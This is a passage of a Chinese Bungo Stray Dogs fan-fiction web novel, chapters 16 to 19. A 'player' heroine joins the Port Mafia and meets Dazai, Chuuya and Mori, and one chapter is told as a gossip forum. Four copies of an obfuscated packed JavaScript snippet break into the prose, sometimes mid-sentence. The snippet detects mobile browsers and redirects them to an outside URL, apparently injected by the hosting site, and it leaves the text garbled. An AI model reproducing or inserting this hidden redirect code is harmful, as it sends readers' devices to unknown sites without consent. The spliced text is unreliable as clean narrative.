本来只是想要这样诱骗她一起堕落下去的,但在那之前,她已经满不在乎地涉足其中了。 太宰坦坦荡荡地说道,随手把腕上的手铐抖下来,“说起来,之前是不是没有介绍过我的工作……?虽然感觉小夏小姐已经知道了……港口mafia,太宰治,嗯,现在姑且还是准干部吧。” 他再度对她伸手,发出那个邀请,“小夏小姐,来到我的身边吧。” 幻觉般的声音从耳边浮现,“他”曾经也做出过一个类似的邀请,结果却是让相信他的人直坠入地狱之中。 但这次会不一样的,他微笑着想,因为我会第一个下去。 16.第16章 他确信我会答应他。 因为没有不答应的选择……除非她想要被港口mafia咬在身后追逐逃亡,同时还要承受白天法律的通缉。 而眼前这家伙在这个局面中恐怕也设计了什么。 永末看着对她微笑着伸手的太宰,意识到了这一点。 太宰在等待她把自己的手放上去。即使身处地牢之中,太宰也有本事做出如在世界中心的风度,现在对着她笑起来的样子,让看到的人都会情不自禁地想要原谅他……或者打死他。 故意的。永末同时意识到,很奇妙,明明选择带上恋人的面具,但偶尔,可能是个性使然,他又会揭下面具,对她露出其中的恶意、危险、和死亡的一面,好像海洋馆里边特意张嘴吓哭小孩子的虎鲸,期待她露出恐惧或者憎恶的表情拔腿就跑。 但她现在确实没有生出杀意,甚至都没有对他生气。 ……我也太宽容了吧。永末有点惊讶了,这份惊讶也没有持续多久,很快变成对自己心理的放纵。 算了,反正也不是真的没有其他选择……永末瞳孔微微一闪。 小侦探的声音仿佛还在她耳边回响,“跟那种小气鬼抢人,一定特别麻烦……但是,我乐意就行。” 她这时才理解那份好像小孩子一样任性的邀约,到底是什么份量。 永末蜻蜓点水地虚虚略过两个选择,暂时搁置了邀请。 现在不如关注近在咫尺的危险。 她伸手,指向了门口的位置,“那边还有两个看门狗,怎么办呢?准干部先生。” 为首的那只都已经糊在地上了,做出这一切的人却摆出“没办法”的表情虚心求救。 “啊啊,怎么办呢……”太宰发出被逗笑的声音,很自然地收回手,好像没有等待过一样,他摊手道,“好吧,既然小夏小姐不想动的话,那就只能给你介绍我们港/黑的另一个招牌了……” 太宰说着,稍稍停顿,永末已经捕捉了从高处坠落的破空声。 “咚——” 而后他轻快地打了个响指,地牢的门口配合地传来了类似爆破的巨大动静,同时腾起大片的灰,太宰就在这样的背景音里边,冲着踩着红光出现的那个人,为永末做出介绍: “这就是我们港/黑著名的,短腿矮脚狗。” “……混蛋太宰!你都在胡说些什么!”还没看清具体人影的中原中也,听到半句话已经足够暴怒了,而看清里头的人之后,他踩着的红光直接泛上了脸颊,变成蒸汽从耳朵里边冒出来。 ……之前的几个小时,中原中也过得并不愉快,发信器的信号源时隐时现,比较清晰的落点还是在人来人往的赌场中,他找得天都黑了才捕捉到清楚的信号,着急之下甚至是一路飞过来的。 ——然后一落地就听到太宰在胡说八道。 只需一眼他就认得出来里头是他知道的那个永末尚夏,那种泰山崩于前目不瞬的表情,实在是太眼熟了一点。 “尚夏!”中原中也羞愧而崩溃地叫道。 太宰这个混蛋在我久别重逢的同伴面前都在说什么呢!我现在的同事怎么是这么个玩意!……啊对了尚夏是不是还不知道“羊”现在的情况、还有他已经加入了港/黑的事情,这些要他怎么说出口啊!……还有那个时候为什么不告而别…!这些年她都经历了什么,曾经想跟他说什么,说过的礼物又在哪里?…… 但这一切都在永末看向他时烟消云散。 中原中也没有再说下去,少女转向他的瞳孔是陌生的,仿佛是看到路过的普通人。 中原中也收拢起神色,不让喜悦变成失落或者更糟糕的情绪。 “……你出什么事情了?” * 永末不至于把太宰的玩笑话当真,她的关注点主要在高空蹦极那位的破坏力上。 一分钟不到,原本包含地道地牢,外观是废弃工厂的建筑,直接从入口被强拆成废墟,外头的两位看守连吱一声都没有直接跟房子一起被拆掉,这份破坏力比她想象的更大。 如果跟港口mafia敌对,要面对这样的敌手…… 永末脑内跳出颇为幽默的问答:“会赢吗?”“会死的。” 而造成了这一切的,以超炫酷的画风登场的赫发少年,在三秒内直接破功脸红,好像跟她很熟识一样地叫出她的名字,随后在她的目光下意识到什么,露出有点受伤的表情。 虽然他想掩饰住,但跟太宰比起来,这份表演太浅薄了。 第二个了,这是第二个跟她过去涉及的人了。 是身份卡所虚拟的过去吗,不,不应该是,不然此刻应该弹出跟这位相关的游戏CG。 这是跟太宰初次见面就能叫出她的名字,同等程度的异常。 永末平静地把目光转向太宰,他以一种好整以暇的姿态旁观着这次见面,跟她目光相接,对着她堪称甜蜜地一笑。 “我会给他一个无法拒绝的理由。”*永末不合时宜地从脑内跳出这句话,虽然不知道来源是哪里,但她感觉自己正在面临类似的东西。 如果想要获得过去的情报,还能近距离跟攻略对象相处、继续这场游戏……选择接受他的邀请,才是正确的吗? “需要我避讳吗?小夏小姐。”太宰故作体贴地说道,他煞有介事地思考起来,“欸……我好像确实想起来我有工作没有做完。” “你还想得起来啊!广津先生都要把你电话打爆了!”刚刚从干部A的赌场出来,差点被抓壮丁的中原中也被他提醒,顿时也想起来这家伙的翘班事迹,中也啧了一声,“这可不是我跟你一队的工作,可没人帮你顶锅。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733227|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >中也说完这句,调整好了心情,转向了永末。他顿了一顿,拉住她的胳膊,“尚夏……我们单独谈谈。” 依照他们现在的陌生,中也不应该做出这种举动,但永末没有反抗,反而是太宰阻拦了,他先一步握住了永末的手腕,动作温柔深情,但让永末只能想到初遇时分甩不脱他的那个画面。 “都说了,中也,小夏是‘我的恋人’。”太宰咬了这个重音,提起的语气却浑不在意。 在中也被恶心到了但是又不能在永末面前这么失礼于是强忍着的表情里,他拉起永末的手,贴在自己脸上,用幽怨的口吻说道,“小夏小姐,已经忘记的人不如就永远忘记吧,还是说过去其实对你很重要呢?” 永末理解他一面是在恶心眼前的中也,一面是在试探自己,但中原中也看到这一幕,仿佛完全没有理解。他露出一种仿佛胃部在被搅拌,又被冲击到瞳孔地震的表情。这让永末突然有点明白了太宰为什么会耍着他玩。 ……就真的有点好玩。 “如果说已经忘记的人不重要,太宰先生难道也是不重要的吗?”永末终于在这个时候,吝啬地出声了,她学着太宰的语气放轻声调,说出类似调情的话语。 她自觉没能装出温柔的感觉,不过这句话足以让中原中也脸上的震撼再上一个台阶了。 他的脸上写满了“你们什么时候认识的”“不是吧难道玩真的?”“我是谁我在哪里我的小羊难道真的在跟垃圾同事谈恋爱?!” “不好意思。我的记忆出了点问题,忘记了很多事情。”开完这个玩笑,永末收了神通,转进自如地摆出无表情的脸。 她试图从太宰的手中抢救回自己的手背,没有做到便理解了他的意思。 两人短暂地交换了一个眼神,在中原中也看起来连交谈都没有,永末就从太宰的兜里取出一枚纽扣形状的窃听器,随后太宰从善如流地放了手。 ……等下这难道不是掩耳盗铃?太宰还想旁听他俩的私人谈话?……不过太宰对恋人的掌控欲到这么变态的地步倒不是很意外,毕竟首领……等等打住!不能腹诽首领……但是尚夏就这么允许了?! 中原中也思绪有点混乱地看她两步撇开太宰,跟随他或者应该说带着他往地牢残存的部分空房间走,一时不知道应该从哪里问起。 “对不起。”还是永末先开口打断了沉默,她停下脚步,回头看向中也。 地牢的上层建筑已经被拆光了,导致从地下室就能看到上方的天空,夜空幽静,月光冷森森地洒下来,照在说话的少女脸上。 她一如既往的镇定,仿佛永远知道自己要做什么,永远不会感觉迷茫,“被忘记的感觉应该很糟糕吧。” “……”中原中也在沉默之后叹出一口气,“……能看到你平安无事,也不是很糟糕的事情了。” 17.第17章 “听起来我们是很不错的朋友。”永末说道。 她自觉自己很好相处,曾经拥有过朋友也是很正常的事情,于是坦率继承了过往的好感度。 “不过我还是什么都想不起来……现在也只能知道你的名字里边有‘中也’……”永末说着,看向他,“全名是什么?” 中原中也咳了一声,“……中原中也。不过你不用说你的名字了,那个我知道的!” 【名字到手,帮我找找这个人的相关情报。】永末立即在脑子里发出指示。 【好的,夏夏!】系统发出小狗一样雀跃的声音,把能在表层世界找到的相关信息,像叼回小球一样带回给她。 “羊”之王……□□重力使…… 转瞬间,信息流已经共享在永末的脑海中,中原中也的过去并不复杂,甚至在看清他的过去时,永末已经可以猜到他们相遇的场合。 “中也先生拉我出来,是想告诉我过去的事情吧……不过听中也先生的话,我曾经遭遇过什么危险……会让你担心?” ……我不会玩过什么死遁吧? 不妙的联想跳上脑海,永末果断掐掉,没让这个假设在脸上露出端疑。 中原中也的想法很善良,“也不是危险……其实我原本以为你是被亲人接走了……但突然消失也可能是出了什么意外,特别是你离开之前说要给我惊喜什么的,而且你被捡回来的时候又是那种情况。” 他说着看向永末,钴蓝色的瞳孔中展露出不加掩饰的担忧,但看清她的脸,又变成了那种熟稔的放松。 “后来收到你的留言还是有点不放心……我也去找过你,但是你也知道……啊!我的意思是,之前我们遇到的那个地方没什么监控……” 提到她的失忆问题,中原中也慌忙岔开话头,“总之一直没找到你……现在……” 现在再见已经什么答案都得不到了。 “抱歉。”永末又道了声歉,“中也先生能跟我详细说说看我的过去吗?说不定会想起来什么……我曾经是被捡回‘羊’的吧?跟大家的关系好吗?” “……不要叫‘中也先生’了,中也就可以。”似乎已经忍了好一会这个称呼,对于被敬称适应不良,中原中也先抱怨了一句,随后陷入到过往的回忆里边,“你当时被捡回来的时候,大家都以为你会死……不过后来还是养好了。” 其实当时的情况比他说的更严重,中原中也感觉捡回来的人全身的骨头没有一根完好,甚至让人不清楚到底怎么才能造成那种可怕的伤势,倒是后边能恢复到正常行动才是异常的事。 中原中也知道这种异常不能在太宰监听的时候提及,于是含糊过来这个话头,“要说跟大家的关系……” 他稍微停顿,又憋屈的语气说道,“……比我好。” 永末微妙地露出“我不信”的眼神,但她没有情商低劣到问出“中也不是首领吗”这种话,跟着岔开话题。 “那么中也,我过去是什么样子的?” 过去对于现在的她,意义是什么呢?有必要为之投入追逐的心力吗? 这个问题出口,永末自己已经有了答案,她短暂地想到了颇为哲学的问题,忒修斯之船,丢弃曾经的木板,船还是那艘船,所以过去的我,也就是我现在的样子。 没有必要为了过去,抛费现在和将来。 “……”中原中也沉默了一下。 橙发少年的表情让永末觉得十分奇妙,他似乎异常感同身受,就好像他认为过往非常重要,所以等同地替她觉得所失去的部分非常重要。 ……他难道也失忆过吗?永末在心里头吐槽道,正想体贴地再岔开一句。但中原中也已经非常认真地开始跟她描述起来了。 “尚夏以前就是…很神秘…无所不能…好像一直看向我看不到的未来的样子……” 有点夸张了吧。 “这个回答里边的人是谁……完全不认识!中也说得我好像被加了十层滤镜……”永末难得有点赧然,但也转瞬即逝回归到平静的漩涡中。 但在这个瞬间,她做出了决定。 中原中也是太宰丟给她的糖衣,吃掉表层的糖霜,就会坠入内层的陷阱。 她想得知的过往不是几句话就能描述的东西,真的要挖掘肯定需要一段时间的相处,而中也确实是心思简单,不对她抱有恶意,性格也闪闪发光的人。 “过去的事情记不起来,也不妨碍我们再成为朋友对吧?”永末把那枚窃听器翻出来,在手背上翻滚着玩了几个来回,确定另一头的人也完全听得见,“我决定加入港口mafia了,还会相处很久吧……之后请多指教?” 她说着,又抬头看向中也,出乎意料的,他表现出来的不是欣喜,而是生气。 “太宰都跟你说过什么!……那个地方!”中原中也不能说自己效忠的地方不好,但也不觉得她加入是什么好选择,卡了一下之后满腔不快全冲太宰去了,“我知道了,都是太宰的错!” 中也又想起来之前饱受震撼的恋情关系,“尚夏…你跟太宰,你们之间到底是什么情况?” “我忘了一些事情,刚好这些天又遇到了不好的事情,昨天在河边散心时遇到了太宰先生……”永末挑挑拣拣说了一些昨天的经历。 “等一下!你们昨天才见面?”中原中也听到这里,打断道。 “对。”永末点头,“他说他对我一见钟情。” 中也握紧拳头。 “我也是。”永末补充。 中也大为迷惑。 “刚好我没有地方可去,所以好心的太宰先生收留了我。”完全明白他在想什么的永末,面上没有波动,但改换了一些更有意思的措辞。 “总而言之……跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738188|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你见到的一样。我们正在恋爱。” “……我懂了。”中原中也转身往外边冲去,化震惊为怒火,“死青花鱼骗小姑娘骗到我的人头上了!” * 永末没阻拦中也,毕竟游戏界面显示太宰已经不在外头了。 事实上在他们这边刚刚开始,那边太宰就已经转回赌场,去处理干部A的遗留问题。 森先生嘴上说让他去找到袭击A的对象,更要紧的却是在A昏迷时去控制A的赌场和收获财富……如果能补上A受袭带给港口mafia的损失,具体的袭击对象到底是谁,那倒是次一级的事情了。 “我没有想到,你留了这么一个大惊喜给我。”货真价实忙了好些天的太宰用幽怨的口吻对着永末抱怨道,“有几个A先生的手下,居然趁着□□还没控制住那边选择了逃跑……给我添了好些麻烦。” “不过好在最后都找齐了……等丢进审讯室,很快就能知道袭击A先生的是谁了吧……说起来A先生也是真倒霉,脑部的情况恶化了,真的能醒来,也会变成傻子吧……不过大概率看起来是醒不过来了。” 不过他没死,也是如了森先生的愿望,不用让干部名额空出来,让新人上位就是了。 太宰一边闲聊,一边在寿司里边只挑蟹肉的吃,看起来不像处理人命的mafia,反而像个挑食的小孩子。 “小夏小姐,怎么不说话了?” 永末没出口承认罪魁祸首是自己,也不打算多说,虽然两次在赌场的事她都做了处理,但想要瞒过太宰大概是天方夜谭。 具体只是在于他想不想就此揭破罢了。 不过如果他已经给那位首领揭开这层帘幕,她大概不能好端端地在这里,早就跟着进审讯室或者地牢了……也不一定,毕竟她现在也是□□的自己人……那说不定会背中三枪也被投进东京湾。 永末没有拖延的习惯,在下了决定之后,她已经在一周前成为了□□的底层人员,现在差不多也适应了新的岗位……拆拆炸弹,搬搬尸体,参与参与外围战斗,成为拿枪的气氛组什么的。 她不太确定太宰有没有插手其中,在港口mafia里边她遇不到太宰,反而跟中也所在的队伍凑得比较近,但似乎太宰现在还没对恋情游戏腻味,至少她在公寓里边还能跟他一起吃早餐。 于是永末稍加思索,夹起一枚自己这边的蟹肉寿司塞到太宰的碗里,全做回答。 “啊……贿赂吗?这个不够。”太宰一边说,一边没有客气地吃掉。 “那你记账。”永末说道。 太宰托着脸,定定地看向她,在她坦然的呆脸跟前又笑了一声。 “好吧,那我记账。” 在这天出门之前,永末习以为常地检查了一回游戏进度。 【当前好感度:0】 【当前攻略进度:10%】 18.第18章【含部分论坛体】 永末一头扎在港.黑底层工作里,混完了入职的一个星期。 对她来说,在这一个星期甚至没有记住多少人的脸,所有她见到的底层同事基本上都是同一副绷紧了神经的谨慎面孔,除开交代工作内容都不正眼往她身上多看一眼,好像多看一眼就能当场暴毙。 ……有点可疑,但懒得追究。 大概是一些mafia的准则吧,不能关心同事的私人生活什么的,永末只能这么认为。 而且作为底层新人也没什么好记住的,毕竟身边的同事据说更迭得挺快的。 事实其实跟她想的截然相反。 永末并不知道……港.黑的活人气其实很重,甚至有匿名的私人论坛,而她的同事们在上班摸鱼的时刻会在里头顶着不同id吹水。 永末自觉作为新人的自己非常不起眼,但事实上……托某人的福,早在她正式加入港.黑之前,她的照片已经在论坛里边被传过好多个来回了。 主题:【讨论】有关上司的上司的上司传说中的恋人居然是真实存在的活人…… No.0 sgio257b 中心大意如标题…… 我要说一件事情,你们千万不要害怕! 隔壁部门高很多级的上司,呃,叫他d君吧,d君之前炫耀过的恋人居然是活的人!会动的那种活人!就叫恋人君f吧。 现在f就在我们队伍里边,今天说好要两人一组去打扫战场,两两结伴抽中我了! 怎么办?!不想因为跟f同组就被d君注意到!急求活过今晚的办法在线等! ———————————————————— No.1 gyjhrdjj 所以说不要去就好了吧,组织又不是不能请假。 ———————————————————— No.2 f4670yuj 可帖主现在应该已经在路上了吧,临阵脱逃会被怀疑的吧,最近不是有……等等你说谁?那个说法不是谣言吗? ———————————————————— No.3 th68hj78 嗯?虽然不知道帖主在指谁,但谁会把恋人放在清扫战场这种岗位上,要是有遗留的炸弹不是够呛?而且见到尸体也是很糟糕的体验吧! 难道这个f是男性,所以你说的上司d…… ———————————————————— No.4 ofeshkgi 不要造谣大姐啊! ———————————————————— No.5 f4670yuj 肯定不是啊!近期见人就炫耀照片的只有那一位吧! ———————————————————— No.6 gyjhrdjj 如果是那一位,做出这种事情也不奇怪了。 ———————————————————— No.7 ofeshkgi ……所以是真的有这个人?帖主呢?还活着吗? ———————————————————— No.8 sgio257b 还在,没敢跟f说话……f看到尸体没有吐,已经利索地翻起尸体了……从外表上看不出来是这种类型的女性…… 除开可能被d盯上的问题,感觉f作为同事也不错。 ……但是除不开啊!感觉有被d关注的可能性就是噩梦了! ———————————————————— No.9 gyjhrdjj 保持惜字如金,如果不想有联系的话。 ———————————————————— No.10 rdsfeddg 我知道在说谁了,那是很噩梦了,上次走迟一步被d拉着说了好久……想到d拷问人的样子,就感觉更毛骨悚然了。 ———————————————————— No.11 f4670yuj f也不知道到底是何方神圣,能搞定这种级别的d,敬佩了。 有谁知道他们怎么相处的吗……好奇了。 ———————————————————— No.12 fhodedhk 知道也没人敢说的吧,要是说多了热度上去,被d发现,不止封帖,说不定论坛都要被炸吧! ———————————————————— No.13 f4670yuj 按d到处炫耀的那个劲,说不定他不介意被八卦这个呢。 ———————————————————— …… ———————————————————— No.33 fjmgrsog 我好像想起来一件事。 ———————————————————— No.34 f4670yuj 这种时候就不用吊胃口了吧? ———————————————————— No.35 fjmgrsog 不确定跟现在的事有没有关系,但是如果是我知道的那个d,他之前是不住组织发下去的公寓。 ———————————————————— No.35 f4670yuj 那怪不得d每次翘班都找不到人……不过你说之前,所以现在是…… ———————————————————— No.36 fjmgrsog 几天前,d突然半夜摇人去收拾那间公寓……之后就住在那边了,而且好像不止住了他一个。 ———————————————————— No.37 f4670yuj ……不会吧…… ———————————————————— No.38 f4670yuj 帖主在吗?能跟边上的f稍微八卦一下她是怎么解决住宿问题的吗? ———————————————————— No.39 f4670yuj 好多楼没看到帖主了,出事了? ———————————————————— …… ———————————————————— No.58 sgio257b 还活着。但任务出意外了。 ———————————————————— No.59 sgio257b 战后没被处理掉的火药突然爆炸,被f救了。 不能再跟你们八卦f的事情了,现在想到d跟f的事情,感觉良心在作痛。 ———————————————————— No.60 sgio257b ……很担心f有受伤,但也看不出来,而且也不能多问。 ———————————————————— No.61 gyjhrdjj f应该没事,她去训练场了。 ———————————————————— No.62 ofeshkgi 来训练场的人……欸你们说的f是她啊…… 等等她不是跟我们老大才是一伙的吗……好几次体术训练都是跟老大一起的。 不是吧?她能力很强的啊,体术跟老大一起对练的时候经常一起给训练场地铲地皮……枪械不太擅长,最近老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752671|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大还在找我们教她…… 我们还以为是后备队友,她每次来的时候我们老大都特别高兴,之前好几天晚上都一起喝酒的……不是吧!? ———————————————————— No.63 f4670yuj 若无其事地爆出了惊天大瓜啊。 ———————————————————— No.64 ofeshkgi 老大带她训练,难道真的只是为了训练吗? ———————————————————— No.65 ofeshkgi 等等,那么d是那个太宰……?不对啊,他和我们老大不是关系不好吗? 呃呃呃不会是老大想要…… ———————————————————— No.66 f4670yuj 我超怎么突然解码了,不要啊会引来管理员的! ———————————————————— No.67 管理账号 :) ———————————————————— 发帖内容涉嫌违规,本帖已封禁。 ———————————————————— “咣铛。”什么掉落了。 永末平稳地扣动扳机,才侧头看了一眼,在不远处的一个黑西装低头去捞地上的手机,表情似乎有点可疑。 但也是跟她无关的事情。 “九环!”中也替她看了成绩,还挺高兴的。 他不是斯巴达教育的拥护者,甚至会习以为常地庇佑部下,永末有点怀疑这段时间他已经顺遂地把经常了这里混基础训练的她当作部下了,“今天到这里吗?” “啊,感觉再继续下去短期也不会有进步了。”永末回应道,活动了一下手指。 今天的任务她不幸遭遇了小型爆炸,虽然身体的损伤很快恢复了,但疼痛的感觉依然残留在神经里边,影响着她的准确率。 这段时间她利用港.黑的训练,测试了自身的身体素质、恢复力,同时按部就班地适应因为失忆丧失的身体控制力。 而除开呼吸法和剑道外,她也在学习使用热武器,虽然后者进度不大。 “那正好,今晚有酒会活动,我们……”中也说着,正打算说出邀请。 但“滴滴——”手机提示音先响了。 被打断的话语于是埋没在屏幕亮起的信息中,“嗯……”中也沉默了一下。 “是有任务对吧?” 从永末的视角是看不到短信的内容的,中原中也也不至于犯这种把任务情报泄露给无关人士的基础错误。 但永末有着另外的视角,属于系统的电子视角。 所以她完全清楚,中原中也最近一直在负责港.黑宝石走私的线路,每次能在训练场地遇到他,都是他特意抽出空闲时间安排的。 即使她已经遗忘了过去,他依然愿意对她做出照拂,这份心意甚至并不需要告知她。 但这次的任务短信,跟走私线路出问题找他处理的性质不太一样。这次是临时加塞的,而她知道为什么。 “任务是优先级第一位的。”永末微微垂下眼睛,说道,“刚好太宰先生昨天已经忙完了,我等下也得去见见他。” “……”中原中也对于她跟太宰的事情好像还是有点接受不能,但对任务优先倒是接受良好,“那我先走一步,尚夏。” 他拎过帽子扣在头上,干脆地离开了这里,永末倒没有按照自己说的去找太宰,她心平气和地举起枪练习了一会,特意等了几分钟。 漆黑的,如鬼魅一般的一队人从她身后冒了出来,为首的那名是位年长的老绅士,他彬彬有礼,但不容拒绝地做出命令: “首领找你。” 19.第19章 暗红色的吸音地毯带走了多余的脚步声,让通往顶层的电梯仿佛是会吞噬掉进入其中的所有存在的深渊之口,不管以哪种形式。 肃穆的层层守卫也加重了这种印象,一路上没有人跟永末目光相接,但她知道自己的所有行动都在被监视。 在步入电梯之前,永末身上的武器已经被全数收走,她并不为此感到不安,毕竟他们无法隔空收走系统的时装。 也许在见面之前的这些程序,不仅是为了首领的安全,也为了让被会见的人忐忑不安? 在推开最顶层的办公室门时,永末随意地揣测着这些。 但里边的场面跟她想的并不一样。 巨大的落地窗前,一名黑发红瞳的大叔悠闲地坐在椅子上,他穿了一身永末只能评价为吸血鬼常见套装的衣服,而这身衣服居然还挺契合他的气质的。 港口mafia首领,森鸥外。 整个横滨从这里都可以俯瞰,城市好像泡在黄昏和夜色交接处的一锅汤,热闹而鲜活得沸腾着。 每次从最高处俯视横滨,这位森首领都会想什么呢?权势、地位……总不会是责任吧? 但此时此刻没有人看向下方,森鸥外的视线落点是翘着腿在地上玩拼图的小女孩,女孩金色的长发混在铺散在地的长裙中,好像不觉得这里是危险的港口mafia顶层,反而宛如在家一样悠闲。 这一对父女花已经够打破任何人对于港.黑首领的严肃预期了,何况边上还站了个太宰。 早上之后永末就没有就再遇到的太宰也在这里。 不知出于什么心态,他似乎很想摸一下小女孩的头发,被闪开了好几次还乐此不疲地试图偷袭,看到她进来才收回手。 太宰侧过脸看了她两眼,表情里边还带有一点没收回的恶意,声调倒是已经调整到开演的热情模式了: “小夏小姐是来接我下班的吗?” 永末注意到森鸥外已经把目光转向了太宰,但太宰却没有回头看他一眼的意思,反而起身对她伸手,先一步过来牵住了她。 是太宰因为她被首领传唤才特意过来,还是首领因为太宰才传唤她? 永末没去想这个问题的答案,有点习惯成自然地反过来捏了捏他的手指。太宰没有放手的意思,于是他们的手就互相亲亲蜜蜜地纠缠在一起。 恋人间的距离应该到哪步才算合格呢? ……真的从理论回答的话,永末怕是得回答,负距离。 她跟太宰还没有到这个标准,第一天的拥抱实验,就是他们最亲密的距离了。 虽然再突破现有距离,说不定能刷出更多任务,但永末并没有迫切的想去完成的冲动。 也许在这方面她是有点笨拙的,相比她,太宰就能迅速地理解她自己都无法察觉的部分。 明明什么都没有说出口,他会主动触碰的就只是手、脸、耳朵的部分……虽然有点过于频繁了。 有时候永末真的会幻视太宰是自己找上门来要求家养的黑猫,闲下来一无聊就会拿爪子扒拉她,一个不留神要么捏着她的头发玩,要么拨一下她的耳朵,特别喜欢翻来覆去地捏她的手指,就好像在玩逗猫棒一样。 只能猜测是一间公寓住两个人还是太小了,所以不管怎么样都会偶尔把注意力放在对方身上吧。 现在永末一回头,跟首领欲言又止特别明显的目光一对上,她突然有点恍然大悟: 这是不是就是传说中的温水煮青蛙? 现在才想明白已经太迟了,倒不如关注一下第一次见首领是不是太失礼的问题……但这个问题现在想显然也太迟了。 永末表情平平地跟森鸥外对视了几秒,反应过来低下头表示尊敬:“首领。” 而太宰这个时候才状似有闲情逸致地回头瞧森先生的表情。 跟永末不一样,他当然知道事实是森先生特意找他在场的时候,才把他的恋人叫上来见面的。 虽然事情有点麻烦,但太宰确实没有把永末在干部A被袭击事件中的作用供出来。 反正当天涉事的当事人基本已经死绝了,唯一还活着的那个现在正陷入婴儿般的睡眠。他不深入挖掘真相,只需要把“无能干部设局收取新奴隶,结果对方异能暴走造成团灭”的字面报告交上去,森先生也不会有人手能去深挖,真的去深挖,他也能先察觉。 那么,为什么又在间隔一周后,突然把永末尚夏从底层叫上来呢?是为了他,还是中也? ……好像都不是。也可以说都有。 促使森鸥外这么做的,还有另一个原因是,他自从看到照片就挥之不去的眼熟。 而现在他想起来了。 森鸥外原本被眼前腻歪的小情侣哽得表情微妙,但在永末低头的瞬间,他突然如同被电流打了一般,猛地坐直了身子。 一个记忆中的影子划过脑海,一个森鸥外大概永远都不会忘记的人。 黑发黑瞳的青年,看人的眼神平得可怕,微微躬身,对他低头示意: “森阁下,受内务省的上级指派传达命令,异能战争,日本方战败了。” 明明连最基本的瞳色都不一样,身高、外表也都对不上,但这个低头的瞬间,他突然觉得眼前的少女就是那个胆大包天的骗子。 那个敢冒充日本内务省官员,提前十天来到常暗岛,宣告“异能战争已经失败,需要解散不死军团”,愚弄了所有人,带走了晶子最后消失不见的骗子。 一般来说,森鸥外基本没有看错过人,倒不如说他本人才是善于带着各色面具,用半真半假、真实存在但廉价得明码标价的感情欺骗别人的人。 第一次被看起来一眼就能读完的人骗了个大的,并且顺便栽了职业生涯里最大的一跤,到现在都没有彻底爬起来这种事,确实让他永世难忘。 他现在甚至情不自禁地思考起来……眼前有没有可能就是是本人,只是改变了性别又缩小了十来岁…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754404|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来、嗯……来欺骗他弟子的感情? ……嗯……… 那还是不可能的。 森鸥外的理智还在线,他更改了猜想,严肃地双手合十:“永末小姐……你有哥哥吗?” 事前他自然也是看过永末尚夏的资料,资料上没有,但资料以外呢? 森鸥外试图在这张平静的脸上探寻出什么。 永末不明所以,有她也不可能记得,而且如果依照玩家的身份,她来到这个世界必是孑孓一人。 她只是单纯根据身份卡的资料回答:“没有。” 倒是太宰电光火石之间反而捕捉到了什么,他自然不能读到森鸥外的脑内想法,只能根据他的表现在心里啧舌,第三个。 “森先生……”太宰故意拉长了声音,打断这份沉默和沉默可能造成的联想,“你找小夏小姐过来,就是为了问这个问题的吗?” “诶……太宰君。”森鸥外停了停,收起过分的探究欲,把多余的疑问压成有点苦恼的笑,他用好像真的是贴心长辈的语气说道,“你的恋人,总得让我看看吧?” “初次见面,永末小姐。”他收放自如地摆出亲切的脸,感情真挚得让人想起过年的亲戚,朝向永末,“我是真的希望你在组织里边能过得愉快……原本以为永末小姐可能更希望做文职,没想到中也君更愿意带你。” 永末不确定他是不是在意指她也不知情的,那些跟中也相处的过去,但她也不打算多说什么,“底层的活……也分文职武职吗?” 就她这段时间的体感而言,底层不是就在干打杂吗? 好像就等她说这句话,森鸥外立即就起了兴致,“虽然说太宰君可能不领情,但是我是觉得,以永末小姐的能力,不应该停留在底层的位置。” 不能为我杀人、一直在mafia底层的成员,是没有价值的。 没有说出口的价值判断,跟另一个时空中的隐隐重合。 永末感觉到太宰牵住她的手指凉了一点,但他脸上没有任何表现带出来,连脉搏都没有加速,不知道这句话哪里戳到了他,于是她也只是回握了太宰一下。 关于这点,永末也早就思考过了,港.黑是那种典型的不看资历看能力的职业场所。 如果走文职路线,她的脑内有一整个活体AI可以辅助运算,如果走武装路线,那她也可以投奔不管这么说显然人很好的小伙伴。 她本不应该拒绝首领的命令。 